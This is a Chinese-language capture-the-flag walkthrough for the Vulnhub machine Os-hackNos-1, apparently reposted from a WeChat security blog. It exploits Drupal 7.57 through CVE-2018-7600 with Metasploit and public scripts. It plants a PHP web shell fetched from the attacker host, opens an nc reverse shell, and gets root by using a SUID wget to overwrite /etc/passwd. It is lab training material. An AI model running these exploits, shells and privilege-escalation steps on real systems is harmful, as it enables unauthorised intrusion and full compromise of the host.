Vulnhub hackNos: Os-hackNos
0x01 靶机介绍
- Difficulty : Easy to Intermediate
- Flag : 2 Flag first user And second root
- Learning : exploit | Web Application | Enumeration | Privilege Escalation
- Website : www.hackNos.com[http://www.hackNos.com]
- mail : [email protected][mailto:[email protected]]
靶机下载地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
0x02 虚拟机配置
导入虚拟机
首先下载完后需要使用Virtual Box进行安装,否则无法找到IP地址
解决报错问题
在导入虚拟机完成后,会出现一个错误:提示不能为虚拟机打开一个新任务。
解决方法有两个,分别如下:
- 1、禁用USB控制器
- 2、安装“Oracle VM VirtualBox Extension Pack”扩展包
参考文章:https://zhaokaifeng.com/?p=443
我选择了第一种方法,通过设置来禁用USB控制器,同时将该虚拟机调为桥接模式。
地址探测
配置完虚拟机后,使用 netdiscover 探测局域网内存活的IP地址
- 1
netdiscover -r 192.168.0.0/24
工具 netdiscover 主要通过二层网络解析目标 IP/MAC 地址,使用 ARP 协议二层主机发现,默认扫描范围为私网地址:192.168.0.0/16、172.16.0.0/16、10.0.0.0/8,常用命令参数如下:
- 1
- 2
- 3
- 4
- 5
-r 地址范围
如netdiscover -r 192.168.0.0/16
-l 扫描地址列表文件
-p 被动模式扫描
-s 发包时间间隔
0x03 侦查
端口探测
使用 nmap 进行端口扫描
- 1
nmap -p- -sV -A 192.168.0.107 -oA namp_Os-hackNOs1
扫描结果显示目标开放了22和80端口
80端口
访问http://192.168.0.107
为 Apache 默认界面
目录探测
使用 gobuster 对目录进行扫描,成功发现drupal
目录
- 1
gobuster
dir
-u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问后为 Drupal 博客界面
0x04 上线[www-data]
信息收集
访问 Drupal 的默认文件CHANGELOG.txt
发现其版本为7.57
使用工具 Droopescan 对站点进行信息收集 下载地址:https://github.com/droope/droopescan
- 1
droopescan scan drupal -u http://192.168.0.107/drupal
Drupal RCE
根据版本确定可利用 EXP 为 CVE-2018-7600,目前已知的漏洞利用脚本存在许多
MSF利用
使用 MSF 能够方便、快捷地获取权限
- 1
- 2
- 3
- 4
- 5
msf6 > search drupal
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6(exploit/unix/webapp/drupal_drupalgeddon2) >
set
rhosts 192.168.0.107
msf6(exploit/unix/webapp/drupal_drupalgeddon2) >
set
targeturi /drupal
msf6(exploit/unix/webapp/drupal_drupalgeddon2) > run
Drupalgeddon2
使用 Drupalgeddon2 同样能够利用
- 1
- 2
- 3
git
clone
https://github.com/dreadlocked/Drupalgeddon2.git
gem install highline
./Drupalgeddon2.rb http://192.168.0.107/drupal
使用 weevely 创建木马并上传
- 1
- 2
weevely generate cmd ./xiaoma.php
weevely http://192.168.0.107/drupal/xiaoma.php cmd
CVE-2018-7600
下载地址:https://github.com/pimps/CVE-2018-7600
在本地下载漏洞利用脚本
- 1
git
clone
https://github.com/pimps/CVE-2018-7600.git
执行 EXP 完成命令执行,成功拿到配置信息
- 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c
"cat sites/default/settings.php"
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
$databases
=
array
(
'default'
=>
array
(
'default'
=>
array
(
'database'
=>
'cuppa'
,
'username'
=>
'cuppauser'
,
'password'
=>
'Akrn@4514'
,
'host'
=>
'localhost'
,
'port'
=>
''
,
'driver'
=>
'mysql'
,
'prefix'
=>
''
,
),
),
);
其中木马mac.php
源码如下:
- 1
<?php
system
(
$_POST
[
'mac'
]);
?>
在本地开启 HTTP 服务
- 1
python -m SimpleHTTPServer 80
上传木马mac.php
- 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c
"wget 192.168.0.106/mac.php"
成功通过木马执行命令
- 1
python3 drupa7-CVE-2018-7600.py http://192.168.0.107/drupal/ -c
"ls"
在本地监听6666端口
- 1
nc -nvlp 6666
使用 BurpSuite 代理截取数据包
更改请求方式为POST并配置参数信息id,成功执行命令
对命令进行 URL 编码,快捷键为 Ctrl+U
- 1
rm
/tmp/f;
mkfifo
/tmp/f;
cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.0.106 6666 >/tmp/f
成功在本地拿到反弹shell
反弹shell参考:https://forum.ywhack.com/shell.php
通过 Python 把环境切换为 pty
- 1
python3 -c
'import pty;pty.spawn("/bin/bash")'
通过以下命令可维持监听
- 1
- 2
stty
raw -
echo
nc -nvlp 6666
在用户家目录/home/james
下发现第一个flag
- 1
more user.txt
0x05 权限提升[root]
信息收集
在网站根目录/var/www/html
下发现可疑文件alexander.txt
初步判断为 Base64 编码,经解码后如下
- 1
echo
"KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA=="
|
base64
-d > base64_de.txt
解码后文件内容如下
- 1
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<
通过在线网站进行 Ook! 解密,成功拿到用户名密码james:Hacker@4514
解密网站:https://www.splitbrain.org/services/ook
但是通过 su 命令无法登录
同时也无法通过 SSH 登录
suid提权
查找带有 suid 的特权文件,在其中成功发现 wget 命令
- 1
find / -perm -u=s -
type
f 2>/dev/null
查看文件/etc/passwd
,尝试利用 wget 进行替换
root:
x:
0
:
0
:root
:/root
:/bin/bash
daemon:
x:
1
:
1
:daemon
:/usr/sbin
:/usr/sbin/nologin
bin:
x:
2
:
2
:bin
:/bin
:/usr/sbin/nologin
sys:
x:
3
:
3
:sys
:/dev
:/usr/sbin/nologin
sync:
x:
4
:
65534
:sync
:/bin
:/bin/sync
games:
x:
5
:
60
:games
:/usr/games
:/usr/sbin/nologin
man:
x:
6
:
12
:man
:/var/cache/man
:/usr/sbin/nologin
lp:
x:
7
:
7
:lp
:/var/spool/lpd
:/usr/sbin/nologin
mail:
x:
8
:
8
:/var/mail
:/usr/sbin/nologin
news:
x:
9
:
9
:news
:/var/spool/news
:/usr/sbin/nologin
uucp:
x:
10
:
10
:uucp
:/var/spool/uucp
:/usr/sbin/nologin
proxy:
x:
13
:
13
:proxy
:/bin
:/usr/sbin/nologin
www-
data:
x:
33
:
33
:www-data
:/var/www
:/usr/sbin/nologin
backup:
x:
34
:
34
:backup
:/var/backups
:/usr/sbin/nologin
list:
x:
38
:
38
:Mailing
List
Manager:
/var/
list:
/usr/sbin/nologin
irc:
x:
39
:
39
:ircd
:/var/run/ircd
:/usr/sbin/nologin
gnats:
x:
41
:
41
:Gnats
Bug-Reporting System (admin)
:/var/lib/gnats
:/usr/sbin/nologin
nobody:
x:
65534
:
65534
:nobody
:/nonexistent
:/usr/sbin/nologin
systemd-
timesync:
x:
100
:
102
:systemd
Time Synchronization,,,
:/run/systemd
:/bin/false
systemd-
network:
x:
101
:
103
:systemd
Network Management,,,
:/run/systemd/netif
:/bin/false
systemd-
resolve:
x:
102
:
104
:systemd
Resolver,,,
:/run/systemd/resolve
:/bin/false
systemd-bus-
proxy:
x:
103
:
105
:systemd
Bus Proxy,,,
:/run/systemd
:/bin/false
syslog:
x:
104
:
108
:
:/home/syslog
:/bin/false
_apt:
x:
105
:
65534
:
:/nonexistent
:/bin/false
lxd:
x:
106
:
65534
:
:/var/lib/lxd/
:/bin/false
messagebus:
x:
107
:
111
:
:/var/run/dbus
:/bin/false
uuidd:
x:
108
:
112
:
:/run/uuidd
:/bin/false
dnsmasq:
x:
109
:
65534
:dnsmasq
,,,
:/var/lib/misc
:/bin/false
james:
x:
1000
:
1000
:james
,,,
:/home/james
:/bin/bash
sshd:
x:
110
:
65534
:
:/var/run/sshd
:/usr/sbin/nologin
mysql:
x:
111
:
118
:MySQL
Server,,,
:/nonexistent
:/bin/false
使用 openssl 生成 mac 用户的哈希
- 1
openssl passwd -1 -salt mac 123456
为新建的用户添加root
用户组权限,同时添加至本地passwd
文件中
- 1
mac:$1$mac
$hKt6m
/mS5roM05SKHksDf.:0:0:root:/root:/bin/bash
使用 wget 命令替换/etc/passwd
,成功提权新用户mac
至 root 权限
- 1
- 2
wget http://192.168.0.106/passwd -O /etc/passwd
su mac
最终成功拿到第二个flag
- 1
- 2
cd ~
more root.txt
查看/etc/ssh/ssh_config
文件
原文始发于微信公众号(狐狸说安全):Vulnhub-Os-hackNos-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论